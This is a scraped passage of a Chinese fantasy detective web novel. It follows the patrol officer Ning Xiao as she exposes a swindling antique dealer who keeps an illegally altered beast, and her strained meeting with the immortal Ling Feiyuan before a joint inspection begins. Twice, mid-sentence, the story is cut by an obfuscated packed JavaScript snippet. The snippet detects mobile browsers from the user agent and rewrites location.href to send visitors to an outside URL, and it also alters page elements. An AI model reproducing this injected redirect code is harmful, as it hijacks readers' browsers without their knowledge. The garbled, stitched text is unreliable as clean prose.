原本买下三千的时候,她是打算物归原主的,可当躺在床上发呆的时候,她突然转变了念头,她和三千的相遇,怎么不算一种缘分呢? 思索片刻后,宁霄决定留下它。 它流浪了那么久,要真是被人不小心丢下的,怎么可能不回去找呢?再说了,这样名贵的灵兽,又是受伤又是胆小的,早就失去了价值,保不齐还会被饲养灵兽的人拆卸了做成药材和材料。 如此想来,宁霄便带着笑意入睡了。 - 第二天醒来后,宁霄穿好衣服一下楼,就见一道灰白虚影从堂屋闪过。 “三千?腿好了吗跑这么快?” 闻言,三千才迈着小碎步从旁边的柜子底下钻了出来,见是她,立刻急匆匆跑了出来。 “以后这儿就是你的家了,不用害怕,出来吃东西吧。” 宁霄找了一个曾经被前东家拿来养水莲的小缸,洗干净后把买的吃食放了进去,堆成了一座小山。 “喏,吃吧,今天的伙食。” 三千围着食山嗅了嗅,随即张开嘴巴啃了起来。 “我一会儿要出门上值,你自己在家,不要随便开门哦。” 三千哪管她说什么,闷头就是吃,宁霄便伸手摸了摸它的脑袋,起身出门了 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刘明岸有些局促地笑着,摆了摆手道:“我也只是上一批进来的,你们直接叫我明岸就行,我也算不上什么前辈。那个案子的话,主要还是仙人和组长、队长他们在主导,他们怎么商量的我也不太清楚。” “这样啊,也是,仙人想干嘛咱们怎么猜嘛!”陈平轩接过话头,皱巴着脸,“我主要是担心这种案子,内丹这么重要的东西居然也能买卖,规模还那么大,不扒瞎,我看到那些被救的人时鸡皮疙瘩都起来了!” “是啊是啊,幸好及时破获了,不然也太吓人了,我都感觉自己的丹田发痛了。” 宁霄听他们叽叽呱呱说了半天后,才有些后知后觉道:“我看今天出巡的人不少,是因为这事儿特地增派的人手吗?” “是的,昨天我特地问了一下,”刘明岸点头如捣蒜,“是昨天开始加派人手的,因为这个案子,大家都挺害怕的,所以加派人手巡逻,让百姓可以安心一点。” …… 一行人一边聊天一边游走于八福大路上。 偶尔查查铺子,看到什么可疑的人啊妖啊便上去盘问一番,时不时还会遇到其他巡逻的队伍。 虽然拥挤,但由于巡逻频繁,基本上也没什么人闹事。 大路很快就走到了尽头,大家的八卦已然说尽,都默不作声前行着。 “怎么一件案子都没有,不会影响我们年末小计结果吧?”一位同僚有些担忧地问道。 大家又借着这个话头聊了起来,然而宁霄一声不吭,在队伍前面大步走着。 “诶!”陈平轩立刻发现了她的反常,“宁霄你走那么快干嘛啊?” 却见宁霄头也不回道:“给你们加点小计分。” 宁霄循着昨天的路线走着,经过了几家熟悉的商铺后,来到了昨天吃饭的地方。 卖面的大娘一眼就认出了她,吆喝道:“姑娘!” 说罢,她便看到了宁霄身后的四位缉凶使,当即露出了惊讶和兴奋的表情。 她迎了过来,指着昨天讹人的邓油子所在的铺子道:“你们可来了,那邓油子屁股都快撅上天了!” 大家顺着大娘所指方向看去,那个拴着黑鳞小怪物的店铺门口围了好多人,吵吵闹闹不知道在说些什么。 不一会儿,邓老五就从店里走了出来,大声道:“吵什么呀?!你们有本事就报案去!连缉凶使都不敢拿我怎么样!” 话音刚落,他的目光便瞥到了街对面的一堆人,与五个缉凶使面面相觑。 18. 仙人(五) “走吧~去瞅瞅我们的小计分数在吆喝什么呢~” 陈平轩立刻来了兴致,乐呵呵活动了一下手脚,朝邓老五的店走去。 宁霄则直勾勾地盯着邓老五看,直到他先收回视线。 剩下几个人也觉得稀奇,一边好奇一边觉得好笑,结伴往斜对街去一探究竟。 围在店门口的人一见他们,立刻给让了个豁口出来,原本还嚣张跋扈的邓老五则转动眼珠四处看着,最后才冲离得最近的一个人吼道:“你有本事就去报案,别打搅我做生意!” 刘明岸伸手亮出缉凶使的牌子,道:“你就是掌柜吧?缉凶司例行巡查,烦请配合。” 邓老五瞅了牌子一眼,又瞅了他们五个人一眼,让出了店门。 见状,陈平轩叉着腰走进了店里,四处张望着,问道:“您这店挺热闹呀?卖什么的?” “古董字画,看不出来么?”邓老五语气颇有些怨恨,但随即就立刻冲过去抓住了陈平轩的手,“诶诶!别给我碰坏了!” 陈平轩依旧咧嘴笑着,随即瞥了宁霄一眼,只见她垂眸抱臂靠在门口,没有丝毫要发难的样子,于是了然地点点头,道:“好啦,例行检查,把你的账本先拿出来看看吧?” 大约是看到了他的动作,邓老五也跟着看了宁霄一眼,随即好似恢复了些许跋扈的气势,哼了一声后才从柜台掏出账本重重摔在了台面上。 门外的买家虽然被挡在门外,但都挤在门窗的空隙朝里看着,一见到账本,当即吵嚷起来。 “骗子!还钱!” “大人们快查他的帐!他讹我钱呀!还给我个假东西充数!” …… “稍安勿躁,缉凶司例行巡查,其他人勿扰。” 刘明岸的话音刚落,门外的人就安分了不少,人挤人地站在门外往里张望。 其他四个人已经开始盘问账目和货品了,邓老五虽然一副不愿意配合的样子,但也不敢拒绝,只能不情不愿地回答,时不时脚步踏得震天响去翻找东西。 “今天前晌刚卖了一卷画,三百两白银?什么画呀?” 一位缉凶使刚问出声,门外就有人举着手要进来,宁霄没拦着,那人便冲进来要跪地伸冤,幸好被人给搀住了。 “你好好说,就站着说。” 闻言,买家当即哭诉道:“今天前晌我来看画,就摸了一下,他就说画儿被我摸脏了,要我赔钱,我赔钱的话什么都得不到,只好买下,结果拿回去想要出手,人家说这画儿是假的!” 买家说着就将手里的画展开来,指了指旁边的位置,道:“大人您瞧瞧,这哪儿能看出来给他弄脏了?就算是弄脏了,我买也无妨,可这东西根本不值这个价儿!” 邓老五当即就龇牙咧嘴想动手了,最后才忍住不快指着买家吼道:“你有本事去找泉政司去!我卖的古画都价值连城,谁知道你动了什么手脚狸猫换太子了!” “你嚷嚷什么呀?!去就去!” 眼见两人都快掐起来了,宁霄和同僚立刻将他们拉开,暂时将买家请到了柜台外的椅子旁,安慰道:“你先坐一会儿,我们巡查完再聊这事儿。” 不料买家屁股还没挨着椅子的边儿呢,那邓老五就叫唤起来,吆喝道:“诶诶!那可是古董!谁让你坐的?!” 他话还没说完,却在瞥到宁霄的时候突然降低了音量,叽叽歪歪地念叨了几句后,不吭声了。 “你还卖活物?”刘明岸翻看着账本,忽然开口问道。 话音刚落,邓老五忽然一抖,随即又快速看了宁霄一眼,不吭声了。 “问你话呢!卖没卖?!”陈平轩语气不善道。 “卖,可我卖的东西都没问题!” “野猪,猎犬……这什么呀?狗?六百两白银?这什么狗这么贵?!”一位同僚惊呼出了声,引得其他人都探头过来凑热闹。 “宁霄你快来看呀!六百两银子的狗!”陈平轩很是激动,招呼她道。 然而宁霄站在原地一动不动,只是盯着眼神飘忽的邓老五,悠悠道:“可能是金坠子吧,狗模样的那种。” “是吗?”陈平轩很是怀疑地看向邓老五,“问你话呢!” 邓老五打了个哆嗦,咽了咽口水,又伸手挠了挠额头,刚要说话,便听得陈平轩道:“货品分类是活物的金坠子?” 此话一出,邓老五的冷汗都出来了,随即点头如捣蒜,道:“是狗,就是狗,买主大方,买主大方……” 刘明岸听得很认真,当即伸手道:“那看一下你的进货记录,还有货品记录,什么品种的狗,长什么样?怎么得来的?” 不等邓老五回答,门口忽然传来一阵低呼声,大家闻言看去,竟见宁霄手里提着一只黑鳞的小怪物从门外走了进来。 她的手掌从小怪物的后颈环绕,就这么拎着脖子走了进来,小怪物努力扑腾着,奈何前爪只能碰到她的手指,尾巴又太粗短,只能不停地扭动着身子,暗红的眼珠竟罕见露出了焦急的神色。 “这小家伙把链子给咬断了,也不知道是谁的。”宁霄语气平淡,盯着邓老五道。 “黑龙!”邓老五当即扑了过来。 宁霄也没捉弄他,直接将小怪物往他身上一丢,抱臂跨立挡在门前,与邓老五身后的同僚们对视了一眼。 同僚们当即围拢过来,参观邓老五口中的“黑龙”。 “龙?呵,市面上有叫龙的灵兽和动物吗?”陈平轩嗤笑道。 刘明岸则抱着账本和货品名册一边翻一边问道:“这东西我好像没在泉政司那边见过,是自己培植的灵兽吗?” 门外当即就有人拆穿道:“这是邓油子在黑市买的!用术法做出来的怪物!” “你胡说什么?!”邓老五抱着小怪物从地上爬起来,顾不上额头上的冷汗,举着拳头就要跟那人搏斗。 然而缉凶使可不是吃素的,两个缉凶使拦在他面前,佩刀已然出鞘,交叉拦截,闪着幽幽寒光。 “说说吧~”陈平轩语气悠然,眼神却犀利,“这怪物哪儿来的?是不是非法培育和买卖灵兽?说!” “我没有!黑龙是我在黑市买的稀奇玩意儿,不是灵兽!我没犯法啊!” “你这小黑龙,看着可不止是稀奇啊。”宁霄慢慢踱着步子走到他身边,伸手靠近小怪物,小怪物立刻张开嘴巴露出尖牙要啃,却被她漫不经心躲过了。 她甚至连视线都没有分给小怪物一点,只是定定盯着邓老五,一边看一边说道:“我记得……用术法改造活物,不论是人是妖还是兽,都是违反伦常铁律的大罪,你买了这东西,难保没有倒卖,买了尚且情有可原,如果是倒卖……” “你!我没有!”邓老五看着她的眼睛,明白她一直绕来绕去到底为了什么,可自己又偏偏不敢摊开来说个清楚。 “没有?”宁霄忍不住挑了下眉,几乎要笑出声来,“好啊!那就让泉政司来查查吧?那儿虽然不管凶案,但号称是雁过拔毛,我看像你这样的滚刀肉,正好让他们开开财源。” 门窗外挤着的买家闻言也都挺直了腰杆儿,桩桩件件控诉着邓老五的恶行。 要么是被强买强卖,被迫买了没人要的野狗,要么是天价买了假货,甚至还有人因为踩了店门前的砖而被讹上的,实在是令人发指。 宁霄盯着他看了一会儿,忽然发问道:“我听说三象门乃修界第一玄门,弟子的选拔和考核,其严格程度更是一等一的,甚至连弟子们的身家背景都是考核的内容之一。” 邓老五咬紧牙关,瞪大的双眼里红血丝被逼得发胀。 在一旁的刘明岸没看出他们在打什么机锋,认真道:“没错,我有个同乡就是三象门的内门弟子,上个月因为他弟弟犯了事儿,他也被连累,给踢出内门了。” 门外凑热闹的众人一听这话,纷纷加入了八卦阵营,有的分享身边相似的例子,有的则故意指桑骂槐,讥讽邓老五。 原本还嘴硬不服软的邓老五,终于被众人的唾沫星子和宁霄如有实质的目光压弯了腰。 只听他突然哀嚎一声,咚的一下双膝跪地哭嚎道:“大人!大人我错了!求您放我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999293|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马!我不该强买强卖!” 见此怪象,在场的同僚都看呆了,也看明白了。 陈平轩偷偷凑到宁霄的身边问道:“你买啥啦?” “灵兽。” “呵!”他瞪大双眼,差点跳起来,“你不是说看缘分吗?!还有,你不是刚买了院子没钱了吗?!” “缘分到了。” 宁霄抱臂看着从地上爬起来又扑到柜台里面翻箱倒柜的邓老五,继续道:“的确没有现钱了,银票是我的最后身家了,而且……” 她转头看着陈平轩,叹了口气,幽幽道:“我现在连支取的汇费都凑不够了。” 话音刚落,那邓老五忽然连滚带爬地扑到她跟前,将那六百两银票呈到了她的面前。 “您大人不记小人过,都是我一时糊涂!钱一分不少还给您!不……”邓老五随即又在怀里摸索了一会儿,最后摸出个蛟龙小金印放在了银票上。 然而宁霄一动不动,只是居高临下地看着他,问道:“怎么?给大家演一出被缉凶使屈打成招的戏码?还是准备公然行贿?” “啊?”邓老五张着嘴愣愣地看着她,不明白她的意思。 “刚才诉冤的人好像不是我啊,怎么?这钱给我是想做什么?” 邓老五愣了一下,立刻反应过来了,调转方向朝店门口走去。 被坑的买家为了看热闹早踏进了店里,只是碍于缉凶使在场,不敢凑得太近。 见满脸凶相的邓老五竟一改今天不要脸的样子,打着哈哈走了过来,他们居然被吓得后退了几步。 “诸位,见谅见谅,这些事儿是我错了,是我不厚道了,我把钱还给大家,每人再多加三成的补偿,如何?” 被坑的买家基本上花了不少钱,如今听说要私了,还能多拿钱,不少人就地笑开了花。 “不是,这什么来头啊?光靠三象门的儿子就能这么有钱吗?”陈平轩幽怨地表示忌恨。 “肯定是之前还坑了不少人的钱呗。”一位缉凶使将佩刀收回剑鞘之中,撇嘴说道。 “那接下来怎么办?”陈平轩朝门口望了望,入目皆是笑盈盈的脸,脸色顿时有些萎靡,“要是他都私了了,没人报案,咱的小计不就没了?” 没想到,看似最守规矩的刘明岸先撂下了账本,老练地说道:“看他这样,我们的小计分数肯定是没了。” 见大家满脸疑惑,她靠近大家低声解释道:“本来就不是见血的事情,他还积极悔改私了,最后如果没有人报案,就算我们强行带回去,顶多也就关几天了事。最烦的是写案卷,除了今天的事儿,还得把他之前的账目全翻出来查一遍,最后又得交给泉政司,浪费咱们时间不说,功劳都不一定有,实在是吃力不讨好。” 闻言,大家都露出了了然的无奈神情。 八卦间,门口拥挤的人已经基本散去,邓老五将银子和契约交给了最后一个被坑害买家,那人乐呵呵收好离开了。 如此,就只剩下宁霄一个债主了。 邓老五强撑着讨好的表情,将那原本的六百两银票和蛟龙小金印递了过来,神色无比谄媚,连那仗势欺人的黑鳞小怪物都不可置信地待在了原地,在主人和宁霄中间看来看去。 “大人,我这小黑龙真是买的!我有字据的!”邓老五护住小怪物,义愤填膺地表明自己的立场,“我也不藏着掖着,这玩意儿真花了我不少钱,不然的话我肯定主动充公!这样,赶明儿我就去缉凶司把那没良心的卖家给上报了!” 如此讨好的态度,大家也都没了再继续的打算,纷纷看向宁霄,等她收钱收官。 “把金印拿了。” “诶诶,是我小人之心了,您别生气。”邓老五乖乖收起小金印,双手托着几张银票奉到了宁霄的面前。 正当宁霄伸手之际,那小怪物忽然从邓老五的身后窜出,冲着门口发出威慑的哈气声。 随即,一道熟悉又陌生的声音骤然响起,好似罕无人迹的空谷忽然传来回声,遥远而又直抵人心。 “宁霄?!你真的在这儿!” 19. 仙人(六) 话音落下的瞬间,宁霄就猜到了来人是谁。 但她却下意识地强迫自己不要回头去看。 她不想看见他。 那些原本已经被抛之脑后的繁杂情绪再次被掀起,扰得她心烦。 “打扰了,我是来找宁霄的,我听说你们在八福大路巡逻,所以就找来了。” 声音逐渐靠近,他正在跟同僚们解释着自己的来意,同僚们也礼貌性地打了个招呼,虽然不一定认识,但至少在案子查办前期都已经在缉凶司的前厅见过他了。 随着他的靠近,宁霄的呼吸声不被察觉地加重了一些。 她的眉头越蹙越紧,就在凌非远即将占据她余光的时候,她忽然将邓老五手上的银票抽走,然后开口,语气强硬道:“恶意欺诈,带走!” “诶?!”邓老五懵了。 同僚们也都懵了。 “不是都私了了吗?也没人报案啊?”陈平轩有些摸不着头脑。 却见宁霄用力闭了一下眼睛,认命道:“我报。走吧。” 说罢,她转身就要离开,这时才看到了离自己几步远的凌非远和他的同伴。 相比上次见面,他的状态好了不少,没有了惊惧和小心翼翼的神色,连凹陷的脸颊都饱满起来了。 但她此刻实在是不想看见他。 “宁霄?”他试探性地唤了一声,脸上带着些许讨好的笑意,可眼里却满是不安。 宁霄瞥了他一眼,没有吭声,一言不发绕开他朝门口走去。 “诶诶,别走那么快啊!”陈平轩一边呼唤一边伸手去拽哭嚎叫骂的邓老五。 其他人也都纷纷行动起来,将邓老五连同他的黑龙一起提溜起来往出走,路过凌非远时,简单道了个别就去门口跟宁霄汇合,顺着街道离开了。 一路上,邓老五不是在瑟瑟发抖哭爹喊娘,就是在破口大骂诅咒宁霄。 宁霄被吵得头疼,终于在拐过第二个街口后,松开了抓着邓老五的手。 “闭嘴!滚吧。” 闻言,邓老五当即甩脱另一个人的钳制,一边咒骂一边狂奔而去。 这下换大家发愣了。 “诶?不报案了?”陈平轩指着邓老五离去的方向问道。 “得不偿失,算了。” “唔。”陈平轩默默接受了这个决定,随即又调转了话头,“诶?刚才那人是内丹交易案里那个仙人丹奴吧?我没看错吧?” “我也觉得很像。”刘明岸附和道。 大家借此八卦起来,一边聊一边往缉凶司的方向走去,唯有宁霄冷脸沉默着。 “奇怪,他怎么又来了?难不成找到新线索了?” “有新线索不是应该回司里吗?来这儿干嘛?而且他刚才好像是叫了宁霄吧?是要找宁霄来着吧?” “嗯嗯,我也听到了。” …… “宁霄,他找你做什么呀?”陈平轩扭头问道。 “嗯?什么?”宁霄才回过神来,有些恍惚。 “那个仙人受害人好像是来找你的。” “不熟。” “怎么可能?!”陈平轩表情夸张,完全不信,“当时他不是住你家吗?” 宁霄深吸了一口气,又叹了出来,道:“我没有义务和受害人保持亲近。” “喔~你这态度倒不像是说谎。”陈平轩点点头,认可了这个说法,扭头就又聊起了别的话题。 - 从古董店出来后,凌非远望着他们离开的方向看了很久。 “不去追吗?你不是一直想来找那位缉凶使吗?”刘长恩有些困惑地问道。 “她肯定在生我的气,不想理我了。” “那你就跟她解释清楚啊。” 凌非远摇了摇头,道:“没什么好解释的,我的确骗了她。” 闻言,刘长恩像是看到了什么荒诞的事物一般,上下扫视着他,“那你到九穹阁天天求着非要来修界是为了什么?别跟我说你真是为了查案来的,前辈们可是刚刚结案。” 凌非远有些受挫地垂着头,沉默片刻后,才自责道:“我也是才知道,仙人被卷入丹奴交易案中居然是头一次,更没想到我的身份居然也是案子破解的重要线索。” “反正你费这么大力气成功让大家来修界了,止步不前可不是你的风格,”刘长恩重重拍了拍他的肩膀,“既然知道错了就好好解释,用行动去弥补你的过错。” “再说了,你当初落入魔窟被折磨了那么久,虽然被搭救,但毕竟是第一次来到修界,警惕些也是自然,宁姑娘肯定能理解你的。” 凌非远听到这话,抬头觑了他一眼,眼里都透出了期待的光亮。 “你说得对。” 见状,刘长恩便知道自己说的话起了效,于是收回手,调转话头道:“你现在虽然没有内丹,但前辈和同辈的仙人都与你一同来此了,应该用不着我保护吧?况且我也不是仙督。” “不用。前辈们已经帮我调理过了,只要不使用法力,不会有事的。” 见他说得笃定,刘长恩也不再啰嗦,道:“如此便好,我还有一桩功德没有做完,得先走了。” 说罢,两人便在街头分道扬镳了。 - 另一边的缉凶司外,宁霄一行人也已经回来了。 还没进缉凶司的大门,他们就发现司里有些不太对劲。 只见大门内的人脚步急促,好似在集体忙什么事情,但看样子又不像是有什么大案要案,没有整队出发的气势。 “……咱缉凶司被人给端了?”陈平轩语气认真地询问道。 大家都有些摸不清状况,便随便拉了个路过的缉凶使询问情况。 “仙人驾到,大家都在准备迎接呢,司长说要接待一下。” “多少人啊?这么大阵仗?上次查案也没这待遇吧?” “这次不一样,听说仙人们要常驻,多长时间不清楚,人数的话……好像来了十来个。” “这么多?我司终于摊上事儿了?”陈平轩依旧不忘开玩笑。 大家听了一面是兴奋一面是好奇,只有宁霄,在听到仙人二字时就已经露出了些许不快的神情。 “这样啊,怪不得那个仙人受害人也来了。” 然而一行人从进入缉凶司大门开始,一直到去前厅交代巡逻情况,期间不到半个时辰,就又听到了不少传闻和消息。 一会儿说是要为仙人们接风,所以缉凶使们才这么勤勤恳恳打扫和整理缉凶司内外。一会儿又说要举行全体集议,不少队伍便被分配去准备场地和细节的安排。 等到刘明岸把巡逻结束的单子填好以后,便听前厅的缉凶使悄悄谈起了关于刚入职的缉凶使分组的事情。 巡逻小组里面连带宁霄就有三个刚入职的缉凶使,对于这样的消息非常敏感。 陈平轩非常自来熟地趴在案上,凑近面前的几个同僚问道:“什么情况啊?要分组了?不是说得入职两三个月后吗?” 整理巡逻资料的姑娘看了看他身后,见没有其他人在等待,便围坐在一起跟大家讨论了起来。 “这谁知道啊,刚才听内院出来的同僚说的。” “难不成这事儿还跟仙人有关?” 姑娘若有所思地点了点头,道:“还真有可能,今天仙人一到,上面下了好几条命令呢。” “诶,我们今天出去巡逻没赶上,给我们说说呗,他们到底来干什么啊?” “听说还是跟上次那桩案子有关,不是有个仙人被拐走,成了丹奴嘛,内丹还找不着了,我看仙人就是为这事儿来的,怕不是生气了。” “我也觉得是,不然仙人没事儿来修界干什么?啧啧,希望别连累我们。”陈平轩点头应和着。 不等他们八卦完,身后忽然传来几声呼唤。 “明岸,事儿办完了吗?完了就赶紧来帮忙。” “噢!来了!”明岸当即就跟着六队的人离开了。 巡逻小组里的另一位前辈也没躲过,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999294|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的同伴直接拽起来拖走了,甚至没来得及道别。 陈平轩趴在案上左右偷瞄了一会儿,悄声道:“没人来拖我们走吗?我们这样是不是有点太显眼了?” 不等宁霄和另一个新人说话,便有一道音讯凭空传来,填满了整个前厅。 “所有新上任的缉凶使,到院中东侧集合,速至。” 三人对视一眼,无奈加入了来回奔波的人群之中。 之前负责教导新人的黑脸大汉依旧摆着那副臭脸,在人到齐以后,便施法架构起了一个结界,遮挡住了外部的声音。 “都别嘀咕了。叫你们过来是吩咐几件事。其一是明天集议的站位,一共三列,明天站在内院最西侧,都给我利索点儿。其二,你们的分组决定明天集议上就会公布,有新人会成为组长,组员需要自己去找,你们都提前有个准备。” 黑脸大汉说话分外简洁,黑着脸把事情宣布完,又把纸张翻来覆去看了一遍后,就直接解除了结界,连结束语都没留一句。 倒是聚成一堆的新任缉凶使都激动地炸了锅,叽叽喳喳几乎要把院中的所有声音都盖过去了。 “明天集议肯定和上次的案子有关!” “啊?不会又要拎出来查一遍吧?我听案件细节耳朵都快起茧子了。” “不应该啊,这段时间司里没有新线索出现吧?案子也没听说要重启啊?但是仙人们一次来了这么多……” “我我我,我刚才在内院听到了,说是仙人要入驻司里。”许久未见的罗靖终于因为集合短暂离开了痛恨的录事房。 “可是原本不就有常驻的仙人督事吗?干嘛又要入驻?他们来干嘛?休沐吗?” “这你就不知道了吧?”罗靖将袖子往上一撸,越说越来劲,“原来常驻的仙人你见过吗?他们根本懒得操心司里的事情。这次就是因为仙人被人抓去做了丹奴,给他们惹毛啦!” 宁霄在旁默默听着,心中很是认同。 毕竟,自从修界稳定以后,还从没出现过这样严重的事情。 “听起来还挺有道理的,但是咱们提前分组是怎么回事啊?我这段时间还没和组长、队长们接触过呢。总觉得有点怕怕的。”一位缉凶使说着缩了缩脖子。 “我知道!”陈平轩主动举起了手。 大家便都看向了他。 然而却听他神神秘秘道:“因为省事儿啊!司里光迎接仙人就搞这么大阵仗了,肯定懒得给咱多花钱了。” 大家一愣,随即纷纷点头。 陈平轩说罢,冲着外围一个姑娘招了招手,大声吆喝道:“阿筱!咱俩一组啊!” 然而那姑娘根本不搭理他,直接转身离开了,陈平轩当即挤出人群追了出去。 放值的钟声悠然响起,大家依旧难舍难分,甚至就地开始寻找分组后的同伴。 宁霄对此不太关心,反正组员也没有挑选组别的资格,做这些实在是无用功。 她扭头准备离开,却一眼看到了门口的凌非远。 刹那间,她竟后退了一步,重新回到了人群之中,甚至还故意往人后躲了躲。 借着人群的遮掩,她看着凌非远踏入了缉凶司的大门,随即便有几位前辈认出了他,上前说了几句话后,便带着他朝里走去。 “宁霄,我好想跟你一组啊~”罗靖抱着她的胳膊摇晃着,“你一定要选我好不好~” “分组不是我们自己定的。”宁霄一本正经解释道。 “可是你是新人里数一数二的啊!肯定会当组长的!”罗靖根本不管她此时心不在焉的神情,一个劲儿撒娇央求着,“好嘛好嘛~” 宁霄无奈笑笑,点头应了。 回头再看时,凌非远已经往前厅去了。 忽然,他竟回头看了过来。 宁霄虽然躲在人群中,却也下意识别过头去,切断了可能的对视。 片刻后,她再抬起头来时,他的身影已然不见。 她这才放下心来,转身离开了缉凶司。 20. 联合督查(一) 当窗外的天色终于亮起一些时,宁霄猛地睁开了眼睛。 其实天才刚蒙蒙亮,但她实在是睡不着了,昨晚硬是闭上眼睛挺到了现在,丁点睡意都没有,也不知道是怎么回事。 里里外外收拾了一下屋子后,总算是熬到了阳光普照大地。 她给三千上好药,又留了一大盆食物。 然而三千狂啃了几口后,就被门外行人的脚步声吓得腿脚乱蹬,嗖的一下就蹿回了堂屋里。 宁霄无奈地笑笑,给它把食盆端进了堂屋。 尽管胆小成这样,对于一个名贵的灵兽来说已经算是废了,但宁霄并不觉得可惜。 它如此警惕,反而能更好地保护自己,而且好歹算是白捡的,胆小就胆小吧。 她出门时尚早,来到缉凶司时,司里却已是热闹非常。 很多人昨天甚至根本没有放值,在司里忙活了一整夜。 如此看来,将来分组正式加入缉凶使的队伍后,可未必是件好事。 内院已经来了好些人,宁霄按照安排,朝西面去寻找自己的队伍。 刚排到队伍末尾,站在原地环顾了一下,她的视线就瞬间被一个身影所捕获。 原来凌非远早就到了,一直站在内院北面的高台上候立着,此时见她来了,当即就迈开步子朝她走了过来。 即便已经移开了视线,但宁霄仿佛仍能看见他的行动。 人群中声音的起伏更是为他的位置充当了标记。 尽管不是很熟悉,但大家在知晓凌非远的身份后,还是主动拱手行礼,表示敬重。 宁霄沉默了片刻后,随着人群的视线看去,只见他一身苍蓝华服,衬得整个人犹如玉色,右耳耳垂下的珠子好似一滴将落未落的血滴,正随着他的脚步晃动着。 面对大家的行礼,他也一一回应,嘴角与眉宇间的笑意清澈而生动。 细细看来,他和之前好像变得有些不同了。 他刚被救的一段时间里,总是一副可怜样,让人看了心疼,宁霄甚至一度猜测他是不是被人从人间拐来的。 现在看来,是自己大意了。 那抹苍蓝逐渐靠近,临到近前时,宁霄都没有移开视线。 “宁……” 然而不等他说完,宁霄直接行礼,随即就转身回去,将视线移到了高台一侧。 好似根本不认得他。 凌非远的笑容一滞,话都没说出来。 然而旁边的人还在很兴奋地等着跟他打招呼呢,凌非远只好放弃继续靠近的打算,笑着跟周围的人点了点头。 待他回到高台,宁霄周围的人才低声惊叹起来。 “不愧是仙人啊!果真是气度不凡,态度还谦逊,这个仙我是非修不可了!” “真的真的!我听说飞升成仙后肉身即死,可以永葆青春呢!刚才我仔细看了,他的皮肤完全没有死气,是白里透红的!” “瞧你说的多吓人!肉身即死又不是真的死了,是衰朽延缓了,所以说啊,飞升要趁早,我要永远停留在我风华正茂的年纪!” …… 内院中,参加集议的人逐渐到位,仙人们则是从高台背后的藏风苑里走了出来。 恐怕他们也很难想象,自己对于修士们的激励作用,竟有一部分是来源于自己的外表。 高台上,司长也已到来,与为首的仙人站在中间,其他缉凶使和仙人则侍立在旁,凌非远便在其中。 这次的集议非常隆重,整个缉凶司的人几乎都来了。 高台上,司长易执照例是叽里呱啦说了一堆场面话。 他个头不算高,人很敦实,宁霄不常见到他,每次都只是留下了一个模糊的印象。 等易执说完废话,当即就接着说起了上次案子的事情。 宁霄毕竟没有资格深度参与那次的案件,只知道有很多罪犯尚未抓到,被拐的丹奴和售卖掉的内丹也没有完全追回。 可是案件分明已经结案,这次的集议居然让全体缉凶使和这么多仙人再次回顾和复盘,实在是奇怪。 宁霄扭头望了望身边数不尽的人头,心中顿时有了一些猜测。 上次仙人们驾临,还是因为人间炼狱,修界蔓延,他们来到凡间合力控制了修界的动荡,修界这才正式成立。 这次的集议上,尽管来的仙人没有那么多,但也实属罕见了,恐怕……这个案子背后所显现的事情,也引起了仙人们的忌惮吧? 没参与过这桩案子的缉凶使们听得很认真,即便都已经打听过了,但看到真实的证物,并听到准确的被害人数与被害情况时,还是引发了大片的低呼声和不间断的细语。 众人无法克制地看向了高台上那个特殊的受害人,即便此时他已经褪去了受害人常有的惊惧和身体上的伤痛,但剖丹的苦痛仅仅是听闻,就足以让修士们感同身受了。 “出于潜入罪犯巢穴一网打尽的目的,受害人凌非远并没有当即反抗,然而在进入罪犯巢穴后,才发现他们竟有专门用来抑制他人法力的阵法与神秘人物。如此惊人恶劣的罪行,必须进行彻底的打击与毁灭。”为首的一位男仙神色严峻,白须都被气得一颤一颤的。 高台下的众人听了这番言辞,更是对凌非远产生了或敬仰或怜悯的心情,目光不由得都落在了他的身上。 然而面对大家的这些目光,凌非远依然保持着从容浅淡的笑容,仿佛那些苦痛从未发生在他身上一般。 他的目光扫过众人,熟练地回以镇定和安抚。 然而炽热氤氲的目光中,有一双眼睛,好似闪烁着锋利的光芒,吸引着他停留。 宁霄也在人群中看着他,即便四目相对,她也没有移开目光,只是静静地直白地注视着他,眼里没有任何出于想象而产生的同情与仰视。 仿佛一柄可以划开他面目的锋刃,让他即便身披华服、面色沉着,此刻也如赤身裸体般无所遁形。 仿佛这人山人海的内院之中,只有他们两人身处其间。 “这位是仙人凌非远……” 突然被唤到名字,他这才猛地回神,原来是司长易执在挨个介绍仙人,于是他连忙点头致意。 等再看去时,宁霄已经移开了目光,只留给他一个沉默的侧影。 “经过与诸位仙人的商议,出于对这次案件的重视,同时也为了彻底根除内丹交易的恶劣事件,在接下来的一段时间内,仙人将与我司一起开展联合督查。” 易执话音刚落,内院众人便交头接耳起来,他并未阻止,继续宣布:“这次的联合督查,主要是针对内丹交易、人口贩卖等违法行为,同时,也为了寻找受害人们遗失的内丹。” 这下子,院中的声音更大了。 上次的案子已经闹得很大了,仙人也已经参与了查案,罪犯的老巢都被搜刮了个干净,接下来这么长时间的专门督查,难不成还能刨出什么别的根系? “咳咳……”易执清了清嗓子,等院中没人说话了才继续吩咐,“在这次的联合督查中,在场的各位仙人将作为仙督暂时驻扎我司,直到督查结束。具体的安排会通知到各位队长,集议结束后使长、队长们都留一下。” 